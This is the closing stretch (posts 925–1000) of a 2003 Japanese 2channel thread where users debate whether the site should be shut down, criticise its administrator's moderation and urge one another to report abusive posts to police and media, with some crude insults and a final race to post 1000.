925 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/09 05:36 ID:dRQm4cXY
>>914

(^_^;)の彼女なんだ。
(^_^;)がIPを見ることのできる立場なのか?だけど、本当にIP(σ・∀・)σゲッツ!されてたら嫌だなぁ。

知られる以上に、あぁいう感じで晒されるのって気持ちが悪いよ。。。
なんなの?あのスレ・・・

926 :心得をよく読みましょう:03/06/09 05:37 ID:RrURG6EM
>>925
あれは単に良識がカマかけただけだと思われ。

927 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/09 05:44 ID:dRQm4cXY
>>926

そうみたい・・・
というか、なにあのスレ??ヽ(`Д´≡`Д´)ノ ??

ともあれ(^_^;)&あゆみさん、すいませんです。。。
勘違いでしたです・・

928 :便所:03/06/09 05:51 ID:mkAH9yh3
http://messages.yahoo.co.jp/bbs?.mm=CP&action=m&board=1075193&tid=adsla4nkdclbfa1a9a5da5ua1bca3ba3b&sid=1075193&mid=1&type=date&first=1

929 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/09 06:25 ID:dRQm4cXY
世の中には知らなくても良いこと、知らないほうが良い事もあるんだと、あらためて思ったよ。。
凄いスレ(´д`)

930 :あゆみ ◆MIRV/Rj/JU :03/06/09 10:08 ID:QL+IKKNB
あゆみ叩きをしている人をあんじさんだと思う人も怖いし、
あゆみ擁護をしている人を私だと思う人も怖い。

名無しさんが名無しのままな限り、それを誰かだと特定することは
リモホを見れる人でない限り不可能だと思うし、不可能な限り、
それを決めつける行為は妄想でしかありえないと思うの。

931 :心得をよく読みましょう:03/06/09 12:03 ID:afKYWcAJ
氏ね糞ゆき
管理出来ないなら閉鎖しろ

932 :心得をよく読みましょう:03/06/09 12:15 ID:iTzCe9Fe
>>930
えぐいコテハン叩きをしてきたお前が言うな。
自作自演厨房

933 :いーすと ◆yIHGMpRYY2 :03/06/09 13:27 ID:AhDfUoHC
世の中ってストレスに満ち溢れてるからね…
腹いせに軽く煽り叩き、と軽い気持ちが
2chの掲示板の特性に拍車をかけられるんだよねぇ。

もはや勘違い連中を止めるのは不可能だろう。
2chがなくならない限り。

934 :心得をよく読みましょう:03/06/09 14:45 ID:zCZMnicl
>>933
ここで2ちゃん批判してる奴も2ちゃんねらーと大して違わない。「氏ね」、
「キチガイ」、「厨房」、とか使ってる。これを誹謗中傷と言わずなんと言う?
右翼、左翼みたいな違いしかない。本質的にはどっちも同じ。


935 :石川:03/06/09 14:54 ID:aTkULhK2
閉鎖したらこっちおいで。新しい遊び場です。 http://6704.teacup.com/dosu6/bbs

936 :心得をよく読みましょう:03/06/09 16:16 ID:Pf1QoDGu
>>935
ブラクラ?

937 :心得をよく読みましょう:03/06/09 17:18 ID:QjBZDubU
まず理解しようとしないでひたすら2chのことを叩いてる方々に申し上げたい。
2chには社会常識などを無視しているような人のみを叩かないでなぜ2ch全体を叩いているのか知りたい。
例えばサッカーをA国とB国が試合をしていて、A国の選手がわざとB国の選手に蹴りを入れたとしよう。
そしたらB国の人が「この国は最悪だ、今すぐ滅びろ」
そんなことを言ってることと同じである。
選手一人がやったことなのに、こんな理不尽があるものか
また、にちゃんねらが犯罪をした時にまるで2chをしていたから犯罪をしたかのように言ってる人までいる。
これも偏見だろう、むしろにちゃんねらが犯罪をしたことなんてごくわずかなのだ。
2chは悪いところだけのように言っているが良いところは一つとしてないのだろうか?
そんなはずはあるまい、毎日交わされる会話の中には必ず人間教育につながることもあるのに
それなのに、叩いてる人のほとんどが都合の悪い部分だけつるし上げてまた理解しようとしない。
そして、いっこうに理解しようとしないで叩き続ける方々もやっていることは、
ほとんどモラルの低いお馬鹿さんと同じではないのか?

938 :心得をよく読みましょう:03/06/09 20:21 ID:9nEkDOUg
>>937
それは、2chのごく初期の、まだそんなに荒れてなかった頃の話で
今のこの荒れ果てた無法地帯の2chには全く当てはまらない。


939 :心得をよく読みましょう:03/06/09 20:41 ID:lJ5mLR+s

2ちゃんねるを賛美している有名人って誰もいないよね

知名度があるらしいけど誰一人として賛美しないってことは
その程度のものなんですよねぇ、、、

2ちゃんねるって幼児と幼児性が強い大人ばかりですからねぇ、、

940 :心得をよく読みましょう:03/06/09 20:49 ID:cHORPdtt
何で有名人が関係あるんだ?

941 :心得をよく読みましょう:03/06/09 20:52 ID:4YkCWJqH
有名人は関係ないな。
とにかくアナ板とあみあゆ板は(゚听)イラネ

942 :心得をよく読みましょう:03/06/09 21:03 ID:9ZC8vt5P
別に有名人じゃなくてもいいけどさ。誰ひとりとして賛美してないんだけど、どう思う?
一般人なら一万人に一人くらいは2ちゃんを賛美する奴がいるかもね

943 :心得をよく読みましょう:03/06/09 21:13 ID:Pf1QoDGu
>>937
別に2ちゃん全体を批判してるわけじゃないよ
反社会的な板、スレ、レスに対してだよ
で誰に責任があるかというとひろゆきに当たるわけ
中には盲目的な意見しかできない香具師もいるが
多分そいつらはひろゆき=2ちゃんねるってとらえてるんだと思う
少なくともひろゆきに対する批判・要望はあって当然といえる

944 :心得をよく読みましょう:03/06/09 22:21 ID:R/ZAtkVd
んで、ISP責任法で免責。

945 :心得をよく読みましょう:03/06/09 23:15 ID:afKYWcAJ
管理しないから便所の落書きって言われるんじゃボケ
死ね

946 :心得をよく読みましょう:03/06/09 23:21 ID:lJ5mLR+s
2ちゃんなんかを賛美したら、友人も0人になるよ

947 :心得をよく読みましょう:03/06/10 00:01 ID:EpP4Q9N9
2ちゃんなんか賛美したら社会的にゴミ扱いされるだろ

948 :心得をよく読みましょう:03/06/10 00:12 ID:Iu83wcpL
それよちも雪の画像を>けんす

949 :心得をよく読みましょう:03/06/10 01:28 ID:I/Dme6Fw
???

950 :心得をよく読みましょう:03/06/10 01:30 ID:mk8qpWAR
2ちゃんがイヤなら来るな。
それだけ。。。


951 :心得をよく読みましょう:03/06/10 01:33 ID:POGJ1lVR
嫌というのは随分抽象的な表現だ。
俺たちが嫌なのはなんだと思う?
場所か?
人か?
管理人か?
書き込み内容か?
嫌とはなんなんだろうか。

952 :心得をよく読みましょう:03/06/10 01:39 ID:6Oct7K1L
イヤよイヤよも好きのうち。( ̄ー ̄)

953 :トラ技2号 ◆MWPYWHW9JE :03/06/10 01:42 ID:2SaagIG8
>>950
>>951の問いに答えろ。


954 :心得をよく読みましょう:03/06/10 01:46 ID:POGJ1lVR
>>953
別にまじめに951の問いにそのまま答えてもらうつもりもないが、
95の問1ってどこだと思ったぞ。

955 :ちゃーじ:03/06/10 02:16 ID:zvqQW/vk
確かにここは閉鎖すべき。匿名をいいことになんでもありになって管理人もちゃんと管理しきれてない。動物苦手の板は相変わらず虐待板だし。
世の中病気だ。ここに来るたびに思う。匿名だから、やっと弱いものにはむかえる。
なさけない。警察にどうにかしてもらいたい。実際ここから犯罪ばっかり生まれてるじゃん。



956 :心得をよく読みましょう:03/06/10 02:23 ID:M19uBr0v
>>952
好きでも潰れて欲しいと思ってる人はたくさんいるんじゃない?

957 :心得をよく読みましょう:03/06/10 02:25 ID:Yu2GjQez
全部閉鎖しろとまでは思わないけど、>>955>>956は全くその通りだ。この
板、「批判要望」なのに、擁護者?信者?が滅茶苦茶な理屈を並べてるし。

958 :sd:03/06/10 04:50 ID:3j97IvGO
賛成だな。とっとと消えてほしい世界

959 :心得をよく読みましょう:03/06/10 09:10 ID:Ml6A8wKS
閉鎖したほうがイイ

960 :心得をよく読みましょう:03/06/10 11:05 ID:9ND2bRzd
他人に迷惑かけておいて、嫌なら来るなだと?
そんな事言ってるから誰にも認められない陰湿掲示板なんだよ

961 :心得をよく読みましょう:03/06/10 11:07 ID:kqJJWBfe
広告でタップリ稼いで管理は「利用者にお任せする」そりゃないだろ
てめぇがどんどん行動して管理しろよカスゆき
ただの小遣い稼ぎサイトなら閉鎖しろヴォケ

962 :心得をよく読みましょう:03/06/10 16:14 ID:I/Dme6Fw
次スレの時期?

963 :心得をよく読みましょう:03/06/10 16:17 ID:VJFEqk2u
yes

964 :心得をよく読みましょう:03/06/10 17:15 ID:GnxwPs7h
字刷れ

965 :心得をよく読みましょう:03/06/10 17:32 ID:kqJJWBfe
小遣いサイト閉鎖しろ

966 :心得をよく読みましょう:03/06/10 17:33 ID:x0C/8Arq
ニュー即なんとかしろ

967 :ちゃーじ:03/06/10 17:36 ID:wr3x+iMS
とりあえずペット苦手の虐待文を警視庁に通報、テレビ局、新聞社に流しました。
どうにかマスコミがとりあげて警察も動かざるをえなくなってここがつぶれますように。
死ぬほど2チャンネルをつぶせ、て警察とテレビ局にみんながメールしたら
多分動くよ。そのくらいしかできることなくない?ここ巨大だし、
話しても無駄なやつばっかだもん。

968 :心得をよく読みましょう:03/06/10 18:17 ID:T4eq/1y2
漏れは、警察に2ちゃんの話をしたら、「あそこは独特の所だからねえ。まあ、
2ちゃんねるの常識は、一般社会の非常識と考えてください。」と言われた。
警察も分かってるのか・・・ふーんとなぜか納得した。w
ひろゆきは、2ちゃんの中では独裁者で、何やってもいいのだというアフォだな。
やたら、法律を振り回すしね。遊ばせてやってるとはよく言える罠w
永遠の19歳に管理能力・モラルなし。閉鎖すべし。

969 :心得をよく読みましょう:03/06/10 18:26 ID:vLXGceEU
ネット=ただの仮想世界ってのは間違い。
ネットってのは一般社会でもある。
話しているのが実在する人間同士なら
話題にする内容も現実と関係がある。

だから、一般社会での非常識なるものをそこに存在させておいていいのか
悩まされる。

970 :心得をよく読みましょう:03/06/10 19:02 ID:AUdzhQxA
そろそろ閉鎖しそうですかー?

971 :マイク ◆yrBrqfF1Ew :03/06/10 19:11 ID:jzMQQmhd
次スレ誰かお願い。

972 :誘導太郎:03/06/10 19:45 ID:wugY8Bav
次スレ
http://qb.2ch.net/test/read.cgi/accuse/1055241898/l50

973 :心得をよく読みましょう:03/06/10 22:44 ID:I/Dme6Fw
んじゃ1000獲り合戦でもしといて


974 :心得をよく読みましょう:03/06/10 22:57 ID:Fdim8hyV
スルー・・・出来ないだろうが。

975 :ちゃーじ:03/06/11 04:43 ID:Zk94JL2M
本気でここ潰したい人、動物虐待、犯罪、その他見苦しいものなんでも
パンクするほど警視庁、報道に2ちゃんねる閉鎖のために通報してください。
いや、まじです。おおまじ。
死ぬほど閉鎖要請がいけばいつか動くだろう・・・・期待はしてないけど。
通報用:
http://ton.2ch.net/gline/kako/1037/10378/1037894914.html

976 :心得をよく読みましょう:03/06/11 18:01 ID:P23cqnns
           ,...,_
          /""`'・.,
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       i'         ●             .::::::|
       .i'                       .:::::::|   
      i;             i、.,    ,.    ●...::::::::|
       '、            |  `"~'/      ::::::::ノ
        \           l,    /     .:::::::/   通報しますた 
         `/(          i.,_,/     ...:::::ノ'
      ,.-'"~ ~"ー-.,,__          .....:::::::ノ').,
     ./=ー'"~"`ー-.,_~"\-.,_  ,...,_ "";.-、::/ノ::: 'i,
    / ̄    :::::〜`i.():::\`""| `(^

977 :心得をよく読みましょう:03/06/11 18:22 ID:4dzbhi5a
梅埋め

978 :心得をよく読みましょう:03/06/11 23:00 ID:4dzbhi5a
コソーリ

979 :心得をよく読みましょう:03/06/12 20:10 ID:n0ZyY2u9
まじめに生活している人を一方的に晒し、中傷する書き込みを
言論の自由だとか言って削除しない奴って絶対に許せない

980 :心得をよく読みましょう:03/06/12 20:12 ID:gM9M4/ob
アナウンサー板ものすごい規制うけてるからいっそのことホスト表示にしてよね

981 :心得をよく読みましょう:03/06/12 20:12 ID:C3cbl40r
↓(゚ν゚)クサー

982 :↑オマエガナw:03/06/12 23:25 ID:FKCmJg9T
 

983 :haraiso:03/06/12 23:39 ID:sAIKtXwC
1000取り楽しむアンチ(藁

984 :心得をよく読みましょう:03/06/12 23:45 ID:vx+b9tmg
>>881
別に技術の進歩とは関係ないような気するけどなぁ〜。
たとえば?

985 :ひなた:03/06/13 10:34 ID:vFuwSonK
2ちゃんねるを本気で閉鎖したい人は、見かけた犯罪、犯罪予告(具体的な日時がかいてある緊急のものは
110番へ)虐待文などを貼り付けて、通報用アドレスから通報してください。
昨日、警視庁、全国の県警、首相官邸その他にメールで過去ログを通報して
2ちゃんねるの閉鎖を求めます、と送ったところすでに県警と首相官邸からは返事がきました。
小泉さんへの報告と、環境庁、警視庁へ報告しますとのことでした。
具体的に動いてください。
通報用:http://ton.2ch.net/gline/kako/1037/10378/1037894914.html

986 :ひなた:03/06/13 11:35 ID:vFuwSonK
環境省、のまちがいでしたーー失礼しやした。

987 :心得をよく読みましょう:03/06/13 11:53 ID:dKznWZId
協力しまつ

988 :心得をよく読みましょう:03/06/13 11:54 ID:wmDiYREO
このスレは被害者専用ですか?

989 :心得をよく読みましょう:03/06/13 16:31 ID:+R7mE6s6
本音を潰すで成り立つおれの生き方が成立しないです。

990 :心得をよく読みましょう:03/06/13 16:40 ID:qwtYf3oa
1000



991 :心得をよく読みましょう:03/06/13 16:40 ID:qwtYf3oa
991



992 :心得をよく読みましょう:03/06/13 16:41 ID:qwtYf3oa


992


993 :心得をよく読みましょう:03/06/13 16:42 ID:qwtYf3oa

   993



994 :心得をよく読みましょう:03/06/13 16:42 ID:qwtYf3oa


              994



995 :心得をよく読みましょう:03/06/13 16:47 ID:A4tdXDYK



  995



996 :心得をよく読みましょう:03/06/13 16:48 ID:A4tdXDYK

                         996



997 :心得をよく読みましょう:03/06/13 16:49 ID:A4tdXDYK






998 :心得をよく読みましょう:03/06/13 16:49 ID:A4tdXDYK



               998



999 :心得をよく読みましょう:03/06/13 16:50 ID:A4tdXDYK
  

        999


1000 :心得をよく読みましょう:03/06/13 16:50 ID:/4KdEANs
終了

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もう書けないので、新しいスレッドを立ててくださいです。。。

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